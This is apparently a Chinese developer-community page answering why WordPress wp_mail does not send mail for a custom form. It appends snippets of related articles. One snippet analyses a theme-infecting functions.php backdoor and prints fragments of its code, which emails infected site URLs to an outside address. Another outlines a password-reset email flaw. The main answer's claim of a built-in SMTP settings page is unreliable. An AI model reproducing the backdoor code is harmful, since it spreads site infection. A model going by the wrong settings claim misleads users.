首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

在WordPress中,wp_mail不会为我的自定义窗体发送邮件

在WordPress中,wp_mail是一个用于发送电子邮件的函数。然而,有时候使用wp_mail发送邮件时,可能会遇到自定义表单无法发送邮件的问题。

造成这个问题的原因可能有多种,以下是一些可能的解决方法:

  1. 检查邮件设置:首先,确保你的WordPress网站的邮件设置是正确的。你可以在WordPress的后台管理界面中的“设置”菜单下找到“邮件”选项。在这里,你可以设置SMTP服务器、端口、用户名和密码等信息。确保这些设置是正确的,并且与你的邮件提供商的要求相匹配。
  2. 检查垃圾邮件过滤:有时候,邮件可能被误判为垃圾邮件而被过滤掉。你可以检查你的垃圾邮件文件夹,看看是否有你期望收到的邮件。如果有,你可以将这些邮件标记为非垃圾邮件,或者将发送者添加到你的联系人列表中,以确保将来的邮件不会被过滤。
  3. 使用插件:如果以上方法都没有解决问题,你可以尝试使用一些专门用于解决邮件发送问题的插件。例如,WP Mail SMTP插件可以帮助你配置SMTP服务器,并提供一些调试工具来帮助你找出问题所在。
  4. 联系主机提供商:如果你的WordPress网站托管在第三方主机上,你可以联系主机提供商寻求帮助。他们可能会检查服务器配置或提供其他解决方案。

总结起来,当wp_mail无法为自定义表单发送邮件时,你可以通过检查邮件设置、检查垃圾邮件过滤、使用插件或联系主机提供商来解决问题。希望这些方法能帮助你解决邮件发送问题。

腾讯云相关产品和产品介绍链接地址:

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

WordPress主题开发,如何修改自带邮件发送功能?

今天收到两条评论,发现没有收到邮件通知,转念一想自己也没设置过邮件相关配置,查了一下文档发现wordpress是通过wp_mail函数发送邮件。...要使邮件函数可用,PHP 需要已安装且正在运行邮件系统。要使用程序是由 php.ini 文件配置设置定义。 Mail 函数是 PHP 核心组成部分。无需安装即可使用这些函数。...Mail 函数行为受 php.ini 文件设置影响。 PHP压根就没配置过这些玩意,理所当然,邮件发不出,但是讲道理,为什么不提供一个错误日志或者干脆抛致命错误‍♂️。...引用地址,可以在这个钩子进行完全自定义操作。...太多了,找点有用吧 .............. 2.分析 开启评论审核之后,有新评论时wordpress会自动给站长邮箱发送邮件,我们需要做就是评论被回复时通知评论对象,以及审核通过时通知评论对象

64310

WordPress 插件 WP Mail SMTP:彻底解决 WordPress 邮件无法收到或者进入垃圾箱问题

前面介绍了如何使用 PHPMailer 发送邮件,其实 WordPress 已经内置了 PHPMailer 这个 class,只是它没有使用 SMTP 方式发邮件,而只是简单使用了 Linux ...mail 函数方式,所以还是会产生 WordPress 发出邮件,对方无法收到或者进入垃圾箱问题。...如果要让 WordPress PHPMailer 也能采用 SMTP 方式发送邮件,我们需要安装 SMTP 相关插件对 WordPress 进行简单设置下。...WordPRess SMTP 插件有很多,简单试用之后:WP Mail SMTP 可以说是目前最好一个,这个插件重新设定了 WordPress wp_mail() 函数,使它能够试用 SMTP...方式发送邮件,并且还提供了设置页面让你输入 SMTP 详细信息: 指定发送邮箱和名称 设置试用 SMTP 或者 mail() 函数来发送

1.4K10

解决 WordPress 提交评论前台超时发送失败,后台正常接收评论问题

由 ChatGPT 生成文章摘要 博主使用WordPress博客中出现了提交评论前台超时发送失败,但后台还能正常接收评论问题,尝试了多种方法都不能解决。...解决 WordPress 提交评论前台超时发送失败,后台正常接收评论问题 问题引入 大概是一两个月前,将博客接入了腾讯云 CDN,也自从那个时候开始,博客开始出现一些奇奇怪怪问题,他们大多数都是因为缓存策略导致...问题解决 昨天晚上心血来潮,又去查了一下这个问题,然后偶然间看到了 WordPress 回复评论卡顿、无法发送邮件问题解决办法 这篇文章,其中表示回复评论卡顿很可能是由于邮件发送不出去导致。...这点醒了,因为近两个月完全没有收到 WordPress 给我发来任何邮件(由于比较懒,没有走 SMTP,而是让 WordPress 用默认 25 端口直接发信),看了一下慢日志,果然注意到...wp_mail 函数赫然列,由此定位了问题。

51620

WordPress 2.2 中三个开发者喜欢特性

新发布 WordPress 2.2 ,内置 Widget 支持可能吸引了大部分人注意。这里所讲三点对 WordPress 插件和主题开发者也是非常有用。...你现在可以 wp-config.php 文件设置你站点 “home” 和 “siteurl” 值 假设实际站点和一个镜像开发站点。...举个例子,假设你想在使用 wp_mail 发送邮件增加附件,你将设立一个回调函数去增加附件,使用 PHPMailer's AddAttachment 方法: function lets_add_an_attachment...你所需要去做页面的头部输出之前调用 wp_enqueue_script('jquery'); 函数。 打包在 WordPress jQuery 是以“无冲突”模式。...(从这之后,你就可以使用 wpJ 代替 jQuery) jQuery 最喜欢特性是它能非常简洁选择 DOM 元素方法,列入,接下来代码搜索所有被命名为“S”文本框(如 WordPress 搜索框

45010

WordPress最新版本网站安全漏洞详情与修复

我们SINE安全在对其wordpress网站进行详细安全检测以及网站漏洞检测,发现wordpress存在着高危网站安全漏洞,wordpress4.9版本一下存在着管理员密码找回漏洞,可以找回密码过程窃取用密码资料...WordPress 漏洞详情 该系统代码里我们发现wp_mail这个函数具体作用是用来发送邮件,用户找回密码首先会发送邮件过去,确认账号所有者,然后再进行重新设置密码,但是在这个找回密码发送邮件过程...正常情况下,网站发送邮件参数配置里会把退件一个地址作为用户密码找回时候,如果没有发送到对方邮件里,会直接退回到退件邮件地址里去,也就是说我们可以设置退件地址发送到我们设置好邮件地址里去...,邮件没有发送成功就会退送到我们远程代码指定好邮件地址里去....WordPress 网站漏洞修复建议: 建议各位网站运营者尽快升级WordPress到最高版本,或者是关闭用户密码找回功能,对网站程序代码不懂的话,也可以直接关闭邮件发送设置,还是不太懂的话,建议找专业网站安全公司进行网站漏洞修复

83410

WordPress添加评论回复邮件通知

在为WordPress添加评论回复邮件通知功能之前,您需要保证您WordPress可以正常发送邮件,否则无法看到效果。...WordPress评论在被其他人(包含管理员)评论时,默认是不会发送邮件通知原评论作者,这也就意味着如果我们对某一条用户评论进行评论时(这是一个讨论场景),原始评论作者将无法得知我们已经对他评论做出了回复...// 不需要审核评论,评论发表后发送邮件通知 add_action('comment_post', 'yi_comment_reply_notify', 20, 2); // 需要审核评论,待博主审核后再发送邮件通知...\"\n"; // 邮箱为空执行邮件发送 if($to !...由于每个人主机环境不一样,有些朋友添加这个功能时候,总是不能成功,这时候,你可以试试 SMTP 发送邮件方式,此方式可使用WP SMTP插件轻松完成,如果您使用本站提供yii主题,该插件已经主题中集成

70810

有人登录WordPress后台时邮件提醒管理员

WordPress安全问题越来越不容忽视,如何知道自己登录信息是否已泄露,自己博客是否被别人反复尝试登录?今天倡萌分享下有人尝试登录你WordPress站点后台时,发送邮件通知管理员方法。...后台登录成功提醒 如果有人登录了WordPress后台,就会发一封邮件到邮箱,提醒你有人登录了,如果当时不是你登录,就要引起警惕了。...将以下代码放入主题functions.php: /***************************************************** 函数名称:wp_login_notify...后台登录失败提醒 有人尝试登陆你系统,但是没有成功,这种反复尝试动作本身就需要被记录下来,发给博主,这样,只要有错误登录,就会发一封邮件到自己邮箱,将对方尝试登录名和登录密码发送到你邮箱。...任何个人或组织,未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者合法权益,可联系我们进行处理。

46220

防止WordPress后台被暴力破解

博客最近也一直被别人暴力登录,由于我设置过登录错误邮件提醒,所以邮箱收到一大堆邮件,手机从邮箱一直从中午推送消息,到晚上才消停。还好登录次数不够频繁,几秒一次,所以服务器并没有宕机。 ? ?...,只不过没有界面,纯代码,因为插件也是通过修改wp-config.php文件达到目的,一般修改主题function.php或者修改wp-config.php文件代码实现自定义功能。...这里给出Nginx服务器配置,经过测试有效(lnmp.org环境): 点击 生成密码 在这里输入你用户名和密码(后面用于访问页面的密码,并不是wordpress密码)后选择Crypt加密算法...服务器上/usr/local/nginx/conf目录下新建一个htpasswd文件,然后把刚才生成账号密码粘贴到htpasswd文件。...,注意设置SMTP服务区 //使用smtp发送邮件(请根据自己使用邮箱设置SMTP)     add_action('phpmailer_init', 'mail_smtp');     function

2.6K60

免插件仅代码实现WordPress评论回复邮件

许多wordpress博主为增加与读者互动,从而获得更加多“回头客”,常常在评论上启用一个“评论回复邮件功能。这个功能可以使用插件来实现,但我们一贯遵循“能用代码就用代码”原则。...本文在这里提供几类在网络上“流传已久”代码来实现wordpress评论回复邮件功能。 使用前,需要确定你主机是否支持 mail() 函数。...下面的代码都是打开主题funtions.php文件,末尾最后一个 ?>输入。 类型一:所有回复都发邮件通知 /* comment_mail_notify v1.0 by willin kan....评论框下方显示一个勾选框,让评论人自己决定是否接收邮件通知。...当你完成后,试一下效果,你会发现邮件样式不怎么好看,甚至是丑陋。如果你想更好看一些,点击《WordPress评论回复邮件样式美化教程》。

1.6K80

WordPress添加评论回复邮件提醒通知功能

> 前面即可 让访客自己选择是否邮件通知,评论框下方显示一个勾选框,让评论人自己决定是否接收邮件通知 function comment_mail_notify($comment_id) { $admin_notify...' 关注,如您有任何疑问,欢迎博客留言。 (此邮件由系统自动发送,请勿回复。)...'; } add_action('comment_form', 'add_checkbox'); 备注说明 发送邮件,需要主机支持 mail() 函数,如果你发现没办法收到邮件,可以询问你主机商...由于每个人主机环境不一样,有些朋友添加这个功能时候,总是不能成功,这时候,你可以试试 SMTP 发送邮件方式。 沈唁志|一个PHPer成长之路!...原创文章采用CC BY-NC-SA 4.0协议进行许可,转载请注明:转载自:WordPress添加评论回复邮件提醒通知功能

1.2K20

WordPress评论回复邮件样式美化教程

在上一篇文章《 免插件仅代码实现WordPress评论回复邮件 》Jeff 提供了三种回复邮件样式类型。在你将需要类型实现后,如果去测试一下,你会发现邮件样式不怎么好看,甚至是丑陋。...:#111;">代码,相信你知道这些是css代码,htmlcss代码。...本文所说美化即是在这里下功夫。 开始之前,让Jeff给出一个示例(你可以给我评论,如果回复,你就会收到这类邮件): 您在 [DeveWork.com] 上留言有回复啦! 评论人, 您好!...本站目前使用评论回复邮件就与上面的差不多。下面直接给出使用代码吧,你可以个性化一下,这里就不延伸了。...跟《 免插件仅代码实现WordPress评论回复邮件 》一样,funtions.php文件末尾最后一个 ?

1.9K60

WordPress集成SendCloud邮件代发,规避SMTP泄漏网站主机真实IP风险

还是几个月前,中国博客联盟晓风依然博主 QQ 联系,说发现 WordPress 评论回复邮件存在一个巨大风险:WordPress 评论回复邮件,不管是使用 SMTP 代发还是用 Sendmail...展开 Sendloud 为了避免有人恶意发送垃圾邮件,就推出了这个审核机制,所有邮件代发都必须先通过样本校验。貌似是要达到 80%以上匹配率才会给你发出去,否则就返回匹配错误。...当然,我们是可以直接 post 整个邮件内容到 Sendloud,但是并不是强迫症所向往,我们追求是极致,因为使用模板发送只要 post 模板几个变量即可。...这里就不用审核了,但是注意这个模板邮件样本必须存在匹配样本,否则无法发出去。 ⑥、PHP 函数 唉,张戈折腾一上午,分享出来几分钟!...⑦、系统邮件(可选) 什么叫系统邮件?就是有人在你博客留言了,或者有评论需要审核,WordPress 是可以设置邮件提醒,这里需要用到 wp_mail 函数。

2.7K80

【译】WordPress 50个过滤器(5):第31-40个过滤器

> 设置电子邮件默认文本类型 wp_mail()函数默认会使用text/plain作为文本类型,通过这个wp_mail_content_type过滤器,你可以自定义之。...> 添加文章CSS类名 body_class这个过滤器WordPress 开发中常常用到,那么你知道有个post_class过滤器可以让你在文章内添加自定义CSS 类吗?...> 这样就为你WordPress 网站第一篇文章添加了.first-post 这个类,之后开发你就可通过CSS 自定义.first-post 样式而不用担心因为使用:first这个伪类而产生跨浏览器兼容问题了...附件增加自定义输入框 WordPress ,附件大体上相当于一种额外文章类型——仅仅有小小区别。...处理后台仪表盘“批量操作”功能 WordPress仪表盘那里罗列着类似文章、页面、用户、多媒体等等栏目,当你点击某个栏目可以进行批量操作。下面讲到过滤器会让你处理下这小小下拉菜单。

1.1K70

Contact Form 7插件添加表单教程

1.1 你还可能喜欢文章: 为什么你要在你WordPress网站上使用联系表单? 防止垃圾邮件——垃圾邮件是一种有害生物。当你有一个使用博客评论WordPress网站时,你会很快注意到它。...垃圾邮件发送者所做一件事就是自动扫描网站未受保护电子邮件地址,这样他们就可以把这些地址添加到他们邮件列表。联系表单可以避免这种情况发生,它让访问者有机会联系你,而不用在网上公布你地址。...安装Contact Form 7和其他WordPress插件一样简单。简单地登录到你网站,进入插件>添加新,并在搜索框输入它名字。 它应该首先出现。现在单击Install将其下载到您站点上。...字段是访问者输入他们姓名、电子邮件地址或他们想要发送给你消息,或任何你想要他们添加东西地方。 步骤3。配置表单 目前,我们在后端默认表单在页面上看起来是这样。 都是标准。...您需要做第一件事是通过同名按钮保存表单。 在此之前,您可能需要在顶部添加一个名称。这将使窗体创建多个窗体时更容易区分。

1.8K00

如何设置 WordPress 文章待审核邮件通知

如何设置 WordPress 文章待审核邮件通知 ---- 当作者提交文章至WordPress网站进行审核时,如果配合电子邮件通知,体验就更佳了。 WordPress博客管理多个作者可能会很忙。...如果你有一个多作者博客,那么你可能会发现知道作家何时提交文章供评论是有帮助本教程,我们将向您展示如何获得WordPress中等待审核文章电子邮件通知。...为什么要在WordPress获取待审文章邮件通知? 当你第一次开始你WordPress博客,你可能会做一切自己。您会为内容提出所有想法,编写和校对文章,并在文章完成后发布它们。...当内容发布并在帖子添加编辑评论时,这些电子邮件发送给网站管理员。 要创建新自定义通知,您需要单击”Add New”按钮。继续标题部分键入”文章待审核”。...注意:默认情况下,内容作者和编辑内容每个人也会收到通知。您可以PublishPress设置更改此设置。 现在是时候撰写将要发送电子邮件内容了。

1.7K30

WordPress展示最近更新过文章,并用邮件通知评论过用户

展示更新文章代码 将以下代码添加到主题 functions.php里 /** * WordPress展示最近更新过文章 并通知评论过用户 * https://www.dujin.org/fenxiang...更新文章后邮件通知评论过用户 将以下代码添加到functions.php,会在修改编辑文章页面添加一个选项,只有勾选才会邮件通知。.../** * WordPress展示最近更新过文章 并通知评论过用户 * https://www.dujin.org/fenxiang/wp/9809.html */ //修改更新文章时邮件通知评论用户...width: 500px; color: rgb(102, 102, 102); line-height: 35px; background-color: rgb(245, 245, 245);"> 该邮件为系统发送邮件...; } } WordPress后台编辑文章页面右上方出,有“邮件通知本文所有评论者”。

55950

WordPress 如何存储和显示 Emoji 以及如何优化

Emoji 存储需要四个字节 使用 Emoji 最大问题是数据库存储不了,出错或者出现乱码,这是因为MySQL UTF-8 字符集是存储不了 emoji 表情,因为 MySQL UTF-8...WordPress 如何存储和显示 Emoji 针对 Emoji,WordPress 存储和显示这两方面做了处理, WordPress 为了都能存储 Emoji,使用函数 wp_encode_emoji...另外 WordPress 用于显示 Emoji 图片都是放在 http://s.w.org/images/core/emoji/ 资源下,令人尴尬是,http://s.w.org/ 这个域名国内访问不了...现在几乎所有的浏览器都能够显示 Emoji 了,所以我们完全可以禁用 WordPress 对 Emoji 处理功能,比较简单,已经整理好了,在当前主题 functions.php 文件添加如下代码即可...the_content_feed', 'wp_staticize_emoji'); remove_filter('comment_text_rss', 'wp_staticize_emoji'); remove_filter('wp_mail

71520

如何使用 CAPTCHA 保护您 WordPress 网站

登录和注册页面是黑客、垃圾邮件发送者和机器人攻击理想场所。 为什么? 他们动机通常是进入您网站并访问管理区域。 没有比输入用户名和密码更好地方了。...他们能: 使网站网络崩溃 分发恶意软件 伤害搜索引擎优化 较低流量 威胁要索取赎金 向博客评论部分发送垃圾邮件 窃取个人信息 WordPress CAPTCHA 让黑客和垃圾邮件机器人远离,尤其是暴力攻击方面...如何在 WordPress 安装验证码 WordPress 网站上安装 CAPTCHA 最快捷、最简单方法是使用插件。...这是登录页面现在样子: 您应该在 WordPress 何处启用验证码? 使用 WordPress CAPTCHA 来保护用户输入信息网站任何部分是一个好主意。...很少 安防措施 和 CAPTCHA 一样容易实现,更不用说免费了,而且考虑到它可以为黑客和垃圾邮件发送者提供很多保护,我们想不出添加它理由。 想要测试您正在提交那些新表格吗?

3.5K00

WordPress安装后必做18件事

可以WordPress启用评论审核,防止未经批准情况下显示任何评论。但是,随着垃圾邮件数量增加,将花费大量时间来审核评论。 要解决此问题,需要安装并激活Akismet插件。...9、删除未使用WordPress主题 大多数WordPress用户确定主题之前都会安装并测试一些主题,不要将这些未使用主题保留,请务必删除,因为即使活动主题也需要更新。...要更改此设置,可以转到 设置 常规 页面,然后输入需要变更新电子邮件地址。确保新电子邮件地址处于活动状态,因为WordPress会向该地址发送确认电子邮件。...可以在此处使用任何电子邮件地址, 但最好使用一个常用且唯一电子邮件地址,表明此地址适用于从网站发送自动电子邮件。...18、设置WordPress主题 很多WordPress主题都有不同功能和自定义选项,但所有WordPress主题都有一些相同基本设置,它们在所有网站很常见。

3.8K50

WordPress主题下funtions.php一段“恶意”代码

不多说了,相信有很多WordPresser都知道这段WordPress主题下fountions.php“恶意”代码,之所以为“恶意”加个双引号是想说:其实也不算太“恶意”,对你伤害只是两点:1、感染...wp-content\themes\下所有主题fountions.php文件;2、以当前被感染博客主页URL为标题和内容,向 livethemas@gmail.com发送邮件。...isset($filters)) $filters=$home_filter; //$gettextcomments实际上为 wp_mail if(!...post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } //开始调用 wp_mail...向 livethemas@gmail.com 发送邮件,标题和内容都是被感染博客URL 地址 $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author

1.1K100
领券